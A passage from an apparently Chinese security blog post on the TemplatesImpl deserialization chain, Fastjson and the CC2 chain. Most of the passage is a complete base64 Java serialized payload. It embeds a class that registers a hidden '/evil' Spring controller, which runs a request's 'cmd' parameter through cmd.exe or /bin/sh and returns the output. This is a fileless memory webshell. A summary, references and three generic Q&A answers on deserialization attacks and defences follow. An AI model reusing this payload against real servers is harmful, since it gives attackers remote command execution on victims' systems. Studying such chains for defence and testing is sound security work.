JhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AC0wABV9uYW1lcQB+AApMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAFr/K/rq+AAAANADqCgA5AHoKAHsAfAgAfQsAfgB/BwCABwCBCwAFAIIHAIMIAFQHAIQKAAoAhQcAhgcAhwgAiAoADACJBwCKBwCLCgAQAIwHAI0KABMAjggAjwoACACQCgAGAJEHAJIKABgAkwoAGACUCACVCwCWAJcLAJgAmQgAmggAmwoAnACdCgANAJ4IAJ8KAA0AoAcAoQgAoggAowoAJACJCACkCAClBwCmCgAkAKcKAKgAqQoAKgCqCACrCgAqAKwKACoArQoAKgCuCgAqAK8KALAAsQoAsACyCgCwAK8LAJgAswcAtAoANwC1BwC2AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADxMY29tL1RyMGUvZ29vZC9kZXNlcmlhbGl6YXRpb24vVGVtcGxhdGVzL0luamVjdFRvQ29udHJvbGxlcjsBAAdjb250ZXh0AQA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0OwEAFW1hcHBpbmdIYW5kbGVyTWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAB21ldGhvZDIBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3VybAEASExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAAm1zAQBOTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247AQAEaW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAEmluamVjdFRvQ29udHJvbGxlcgEACkV4Y2VwdGlvbnMHALcBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAANhcmcBABJMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAEZXhlYwEAAXABABpMamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyOwEAAW8BAAFjAQATTGphdmEvdXRpbC9TY2FubmVyOwEABGFyZzABAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAIMHALgHALkHAIcHALoHAKEHAKYHALQBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwC7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAXSW5qZWN0VG9Db250cm9sbGVyLmphdmEMADoAOwcAvAwAvQC+AQA5b3JnLnNwcmluZ2ZyYW1ld29yay53ZWIuc2VydmxldC5EaXNwYXRjaGVyU2VydmxldC5DT05URVhUBwC/DADAAMEBADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L1dlYkFwcGxpY2F0aW9uQ29udGV4dAEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmcMAMIAwwEAOmNvbS9UcjBlL2dvb2QvZGVzZXJpYWxpemF0aW9uL1RlbXBsYXRlcy9JbmplY3RUb0NvbnRyb2xsZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAMQAxQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BABBqYXZhL2xhbmcvU3RyaW5nAQAFL2V2aWwMADoAxgEATG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb24BADVvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vUmVxdWVzdE1ldGhvZAwAOgDHAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAOgDIAQADYWFhDAA6AFAMAMkAygEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAMsAzAwAzQDOAQADY21kBwC4DADPANAHALkMANEA0gEAAAEAB29zLm5hbWUHANMMANQA0AwA1QDWAQADd2luDADXANgBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIBAAdjbWQuZXhlAQACL2MBAAcvYmluL3NoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwA2QDaBwDbDADcAN0MADoA3gEAAlxBDADfAOAMAOEA4gwA4wDWDADkADsHALoMAOUAUAwA5gA7DADnAOgBABNqYXZhL2xhbmcvRXhjZXB0aW9uDADpADsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAE2phdmEvaW8vUHJpbnRXcml0ZXIBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABhjdXJyZW50UmVxdWVzdEF0dHJpYnV0ZXMBAD0oKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQA5b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzAQAMZ2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0kpTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEAD3JlZ2lzdGVyTWFwcGluZwEAQShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAKZ2V0UmVxdWVzdAEAKSgpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACooKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAQam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

发送恶意 Payload,成功注入内存马:
imagepng
imagepng

总结

本文从 0 到 1 介绍了 TemplatesImpl 链的基础原理,同时介绍其在 Fastjson 反序列化漏洞利用过程中的应用,最后介绍了 Java 反序列化漏洞 CC2 链中对 TemplatesImpl 链的集成,以及如何通过 CC2 链注入恶意类与 Java 内存马。至此我们通过 TemplatesImpl 利用链直接向存在反序列化漏洞的 Web 受害系统注入内存马,从而真正实现了无落地文件的情况下注入 Java 内存马。

本文参考文章与资源:

  1. Java安全学习—内存马 - 枫のBlog
  2. 完全零基础入门Fastjson系列漏洞(基础篇)
  3. TemplatesImpl利用链与Fastjson注入内存马
  4. java安全-fastjson及其TemplatesImpl链学习与分析
### 回答1: Java反序列化漏洞一般利用思路是利用Java反序列化机制,将恶意序列化数据传递给目标系统,从而实现远程代码执行、拒绝服务等攻击。攻击者通常会构造恶意序列化数据,使其在反序列化过程中触发漏洞,从而执行恶意代码。为了防范此类攻击,可以采取一些措施,如限制反序列化对象的类型、使用安全的序列化库等。 ### 回答2: Java反序列化漏洞利用思路主要包括以下几个步骤: 1. 找到目标:攻击者首先需要找到运行了可利用Java反序列化漏洞的目标程序。这可以通过分析目标程序的代码、网络流量或者漏洞公开报告等途径进行。 2. 构造恶意序列化数据:攻击者需要构造恶意的序列化数据,这些数据会被目标程序读取并解析。攻击者可以使用一些工具或者手动编写代码来生成恶意序列化数据。 3. 选择合适的漏洞利用方式:根据目标程序的具体情况,攻击者可以选择合适的漏洞利用方式。常见的利用方式包括Java反序列化漏洞利用,如利用未经过正确检验的反序列化的对象进行远程代码执行或者文件读写等操作。 4. 发送恶意序列化数据:攻击者需要将构造好的恶意序列化数据发送给目标程序。这可以通过网络连接、文件上传、内存注入等方式进行。 5. 触发反序列化:目标程序接收到攻击者发送的序列化数据后,会进行相应的反序列化操作。在解析过程中,如果存在漏洞,则恶意代码会被执行,导致安全问题。 6. 实现攻击目标:一旦恶意代码被执行,攻击者可以获得对目标程序的控制,从而进行进一步的攻击行为。这可能包括窃取敏感信息、执行任意代码、篡改数据等。 为了防范Java反序列化漏洞利用,开发者可以采取一些措施,如使用安全的序列化和反序列化库、校验反序列化输入、限制反序列化操作的范围和权限等。同时,及时更新和修补已知的漏洞也是非常重要的。 ### 回答3: Java反序列化漏洞利用思路如下: 在Java中,对象的序列化是将对象转换为字节流的过程,而反序列化则是将字节流还原为对象的过程。反序列化漏洞是指攻击者通过构造恶意的序列化数据,再使用该数据进行反序列化操作,从而导致程序在反序列化的过程中触发各种安全漏洞。 通常的利用思路如下: 1. 找到存在反序列化漏洞的目标:通过静态代码分析、动态分析或源码审计等手段,找到存在反序列化漏洞的应用程序。 2. 构造恶意的序列化数据:攻击者通过修改或创建特定的序列化数据,来生成恶意的序列化数据。这些数据可能包含有害的代码或意外的操作。 3. 发送恶意数据进行反序列化:攻击者将构造好的恶意序列化数据发送给目标应用程序,并通过触发反序列化操作,将恶意数据还原为对象。此时,存在漏洞的应用程序会执行恶意代码,并可能导致安全问题。 4. 利用漏洞进行攻击:一旦恶意代码被执行,攻击者可以在目标系统上执行各种恶意操作,如执行任意命令、远程代码执行、获取敏感信息等。 为了避免被反序列化漏洞攻击,需要对反序列化操作进行安全措施,比如使用白名单机制限制可反序列化的类、对反序列化方法进行签名等。同时,定期更新和修复Java环境,以及对目标应用程序进行安全测试和代码审计,也是减少反序列化漏洞风险的重要措施。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值